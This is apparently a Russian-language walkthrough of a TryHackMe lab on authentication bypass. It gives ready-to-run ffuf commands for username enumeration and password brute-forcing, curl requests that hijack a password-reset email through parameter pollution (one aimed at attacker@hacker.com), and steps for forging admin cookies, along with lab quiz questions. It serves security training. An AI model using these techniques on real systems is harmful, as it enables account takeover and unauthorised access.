День.29 - Authentication Bypass / Обход аутентификации
Узнайте, как обойти системы авторизации и другие механизмы аутентификации, позволяющие получить доступ к запрещенным разделам.
1. Краткий
В этой комнате мы узнаем о различных способах обхода, взлома или нарушения методов аутентификации на веб-сайтах. Эти уязвимости могут быть одними из самых критических, поскольку часто приводят к утечке личных данных клиентов.
2. Перечисление имен пользователей
Полезным упражнением при поиске уязвимостей аутентификации является составление списка допустимых имен пользователей, который мы будем использовать позже в других задачах.
Сообщения об ошибках на веб-сайте — отличный ресурс для сбора этой информации и составления списка действительных имен пользователей. У нас есть форма для создания новой учетной записи пользователя, если перейти на страницу регистрации на веб-сайте Acme IT Support ( http://10.49.160.207/customers/signup ) .
Если вы попытаетесь ввести имя пользователя admin и заполнить остальные поля формы ложной информацией, вы увидите ошибку « Учетная запись с таким именем пользователя уже существует» . Наличие этого сообщения об ошибке позволяет получить список действительных имен пользователей, уже зарегистрированных в системе, с помощью инструмента ffuf, описанного ниже. Инструмент ffuf использует список часто используемых имен пользователей для проверки на наличие совпадений.
Перечисление имен пользователей с помощью ffuf
user@tryhackme$ ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.49.160.207/customers/signup -mr "username already exists"
В приведенном выше примере -wаргумент выбирает местоположение файла на компьютере, содержащего список имен пользователей, существование которых мы собираемся проверить. Аргумент -Xуказывает метод запроса; по умолчанию это будет GET-запрос, но в нашем примере это POST-запрос. Аргумент -dуказывает данные, которые мы собираемся отправить. В нашем примере у нас есть поля username, email, password и cpassword. Мы установили значение username равным FUZZ . В инструменте ffuf ключевое слово FUZZ указывает, куда будут вставлены данные из нашего списка слов в запрос. Аргумент -Hиспользуется для добавления дополнительных заголовков к запросу. В данном случае мы устанавливаем заголовок, Content-Type чтобы веб-сервер знал, что мы отправляем данные формы. -uАргумент указывает URL-адрес, на который мы делаем запрос, и, наконец, -mrаргумент — это текст на странице, которую мы ищем для проверки того, что мы нашли действительное имя пользователя.
Инструмент ffuf и список слов предустановлены на AttackBox или могут быть установлены локально, скачав их с https://github.com/ffuf/ffuf .
Создайте файл с именем valid_usernames.txt и добавьте в него имена пользователей, найденные с помощью ffuf; они будут использованы в задании 3.
Создаем файл с перечислением юзеров
Вопрос: Какое имя пользователя начинается с si***?
Вопрос: Какое имя пользователя начинается с st***?
3. Грубая сила
Используя файл valid_usernames.txt , созданный в предыдущем задании, мы теперь можем попытаться осуществить атаку методом перебора паролей на страницу входа в систему ( http://10.49.160.207/customers/login ).
Примечание: Если вы создали файл valid_usernames, перенаправив вывод ffuf напрямую, у вас могут возникнуть трудности с этой задачей. Очистите данные или скопируйте только имена в новый файл.
Атака методом перебора — это автоматизированный процесс, в ходе которого перебираются несколько часто используемых паролей либо для одного имени пользователя, либо, как в нашем случае, для списка имен пользователей.
При выполнении этой команды убедитесь, что терминал находится в той же директории, что и файл valid_usernames.txt.
user@tryhackme$ ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.49.160.207/customers/login -fc 200
Эта команда ffuf немного отличается от предыдущей в Задании 2. Ранее мы использовали ключевое слово FUZZ для выбора места в запросе, куда будут вставляться данные из списков слов, но поскольку мы используем несколько списков слов, нам необходимо указать собственное ключевое слово FUZZ. В данном случае мы выбрали W1для нашего списка допустимых имен пользователей и W2для списка паролей, которые мы будем проверять. Несколько списков слов снова указываются с помощью -wаргумента, но разделены запятой. Для положительного совпадения мы используем -fcаргумент для проверки наличия кода состояния HTTP, отличного от 200.
Выполнение указанной выше команды позволит найти единственную рабочую комбинацию имени пользователя и пароля, которая отвечает на вопрос ниже.
Вопрос: Какое допустимое имя пользователя и пароль (формат: имя пользователя/пароль)?
4. Логическая ошибка
Иногда в процессах аутентификации встречаются логические ошибки. Логическая ошибка — это когда типичный логический путь приложения обходится, игнорируется или используется хакером. Логические ошибки могут существовать в любой области веб-сайта, но в данном случае мы сосредоточимся на примерах, связанных с аутентификацией.
Приведённый ниже пример кода проверяет, начинается ли путь, который посещает клиент, с /admin, и если да, то выполняется дальнейшая проверка, чтобы убедиться, что клиент действительно является администратором. Если страница не начинается с /admin, страница отображается клиенту.
if( url.substr(0,6) = = = '/admin') {
# Code to check user is an admin
} else {
# View Page
}Поскольку в приведенном выше примере кода PHP используются три знака равенства (===), он ищет точное совпадение в строке, включая одинаковый регистр букв. Код содержит логическую ошибку, поскольку у неаутентифицированного пользователя, запрашивающего /adMin, не будут проверены права доступа, и ему будет показана страница, полностью минуя проверки аутентификации.
Практическая логическая ошибка
Рассмотрим функцию сброса пароля на веб-сайте ИТ-поддержки Acme ( http://10.49.160.207/customers/reset ). Мы видим форму, запрашивающую адрес электронной почты, связанный с учетной записью, для которой мы хотим сбросить пароль. Если будет введен неверный адрес электронной почты, вы получите сообщение об ошибке « Учетная запись не найдена по указанному адресу электронной почты ».
Для наглядности воспользуемся адресом электронной почты robert@acmeitsupport.thm, который будет принят. Затем мы перейдем к следующему этапу заполнения формы, где запрашивается имя пользователя, связанное с этим адресом электронной почты для входа.
Если ввести robert в качестве имени пользователя и нажать кнопку «Проверить имя пользователя», вы увидите сообщение с подтверждением того, что на адрес robert@acmeitsupport.thm будет отправлено письмо для сброса пароля.
На этом этапе вас может заинтересовать, в чем может заключаться уязвимость этого приложения, поскольку для его работы необходимо знать как адрес электронной почты, так и имя пользователя, после чего ссылка на пароль отправляется на адрес электронной почты владельца учетной записи.
Для выполнения этого пошагового руководства потребуется запустить оба приведенных ниже запроса Curl на устройстве AttackBox, которое можно открыть с помощью синей кнопки выше.
На втором этапе процесса сброса адреса электронной почты имя пользователя отправляется на веб-сервер в формате POST, а адрес электронной почты — в формате GET в строке запроса.
Давайте проиллюстрируем это, используя инструмент curl для ручной отправки запроса на веб-сервер.
user@tryhackme$ curl 'http://10.49.160.207/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert'
Мы используем этот -Hфлаг для добавления дополнительного заголовка к запросу. В данном случае мы устанавливаем значение Content-Typeна application/x-www-form-urlencoded, что позволяет веб-серверу понять, что мы отправляем данные формы, чтобы он правильно понял наш запрос.
В приложении учетная запись пользователя извлекается с помощью строки запроса, но позже, в логике приложения, электронное письмо для сброса пароля отправляется с использованием данных, найденных в переменной PHP $_REQUEST.
PHP - $_REQUEST переменная представляет собой массив, содержащий данные, полученные из строки запроса и данных POST-запроса. Если для строки запроса и данных POST-запроса используется одно и то же имя ключа, логика приложения для этой переменной будет отдавать предпочтение полям данных POST, а не строке запроса. Таким образом, добавив еще один параметр к форме POST, мы сможем контролировать, куда будет доставлено электронное письмо для сброса пароля.
user@tryhackme$ curl 'http://10.49.160.207/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@hacker.com'
На следующем шаге вам потребуется создать учетную запись в разделе поддержки клиентов Acme IT. Это позволит вам получить уникальный адрес электронной почты, который можно использовать для создания заявок в службу поддержки. Адрес электронной почты имеет формат {username}@customer.acmeitsupport.thm
Теперь повторно запустите запрос Curl Request 2 , но укажите @acmeitsupport.thm в поле электронной почты. В вашем аккаунте будет создан тикет, содержащий ссылку для входа в систему под именем Роберта. Используя аккаунт Роберта, вы сможете просмотреть его тикеты в службу поддержки и обнаружить флаг.
Запрос Curl 2 (но с использованием вашей учетной записи @acmeitsupport.thm):
user@tryhackme:~$ curl 'http://10.49.160.207/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email={username}@customer.acmeitsupport.thm'Вопрос: Какой флаг указан в заявке Роберта в службу поддержки?
5. Подделка файлов cookie
Проверка и редактирование файлов cookie, установленных веб-сервером во время вашей онлайн-сессии, может привести к различным последствиям, таким как несанкционированный доступ, доступ к учетной записи другого пользователя или повышение привилегий. Если вам нужно освежить знания о файлах cookie, ознакомьтесь с разделом «HTTP подробно » в задании 6.
Содержимое некоторых файлов cookie может быть представлено в виде открытого текста, и их назначение очевидно. Возьмем, к примеру, файлы cookie, установленные после успешного входа в систему:
Set-Cookie: logged_in=true; Max-Age=3600; Path=/
Set-Cookie: admin=false; Max-Age=3600; Path=/
Мы видим один cookie (logged_in), который, по-видимому, определяет, авторизован ли пользователь в данный момент, и другой (admin), который определяет, имеет ли посетитель права администратора. Следуя этой логике, если мы изменим содержимое cookie и отправим запрос, мы сможем изменить свои права.
Для начала мы просто запросим целевую страницу:
user@tryhackme$ curl http://10.49.160.207/cookie-test
Мы видим, что нам возвращается сообщение: «Не авторизован».
Теперь отправим ещё один запрос, установив для cookie logged_in значение true, а для cookie admin — значение false:
user@tryhackme$ curl -H "Cookie: logged_in=true; admin=false" http://10.49.160.207/cookie-test
Нам выдается сообщение: "Вход выполнен как пользователь".
Наконец, мы отправим последний запрос, установив значения cookie для параметров logged_in и admin в значение true:
user@tryhackme$ curl -H "Cookie: logged_in=true; admin=true" http://10.49.160.207/cookie-test
В результате отображается сообщение " Вход в систему как администратор" , а также флаг, который можно использовать для ответа на первый вопрос.
Иногда значения cookie могут выглядеть как длинная строка случайных символов; такие значения называются хешами и представляют собой необратимое отображение исходного текста. Вот несколько примеров, с которыми вы можете столкнуться:
c4ca4238a0b923820dcc509a6f75849b
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
356a192b7913b04c54574d18c28d46e6395428ab
Как видно из приведенной выше таблицы, хеш-значение одной и той же входной строки может значительно отличаться в зависимости от используемого метода хеширования. Несмотря на то, что хеширование необратимо, результат всегда один и тот же, что полезно для нас, поскольку такие сервисы, как https://crackstation.net/, хранят базы данных, содержащие миллиарды хешей и их исходных строк.
Кодирование похоже на хеширование тем, что оно создает, казалось бы, случайную текстовую строку, но на самом деле кодирование обратимо. Поэтому возникает вопрос: в чем смысл кодирования? Кодирование позволяет преобразовывать двоичные данные в удобочитаемый текст, который можно легко и безопасно передавать по каналам связи, поддерживающим только символы ASCII в обычном текстовом формате.
Распространенные типы кодирования — это base32, который преобразует двоичные данные в символы AZ и 2-7, и base64, который преобразует данные с использованием символов az, AZ, 0-9, +, / и знака равенства для заполнения.
В качестве примера рассмотрим приведенные ниже данные, которые устанавливаются веб-сервером при входе в систему:
Set-Cookie: session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Max-Age=3600; Path=/
В результате декодирования этой строки в формате Base64 мы получаем значение {"id":1,"admin": false}. Затем мы можем закодировать её обратно в формат Base64, но вместо этого установим значение admin равным true, что теперь даёт нам административный доступ.
Вопрос: Какой флаг используется при изменении значений cookie в открытом текстовом формате?
Вопрос: Каково значение хеша MD5 3b2a1053e3270077456a79192070aa78?
Вопрос: Каково значение, декодированное в base64, для VEhNe0JBU0U2NF9FTkNPRElOR30= ?
Вопрос: Закодируйте следующее значение с помощью base64: {"id":1,"admin":true}
Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!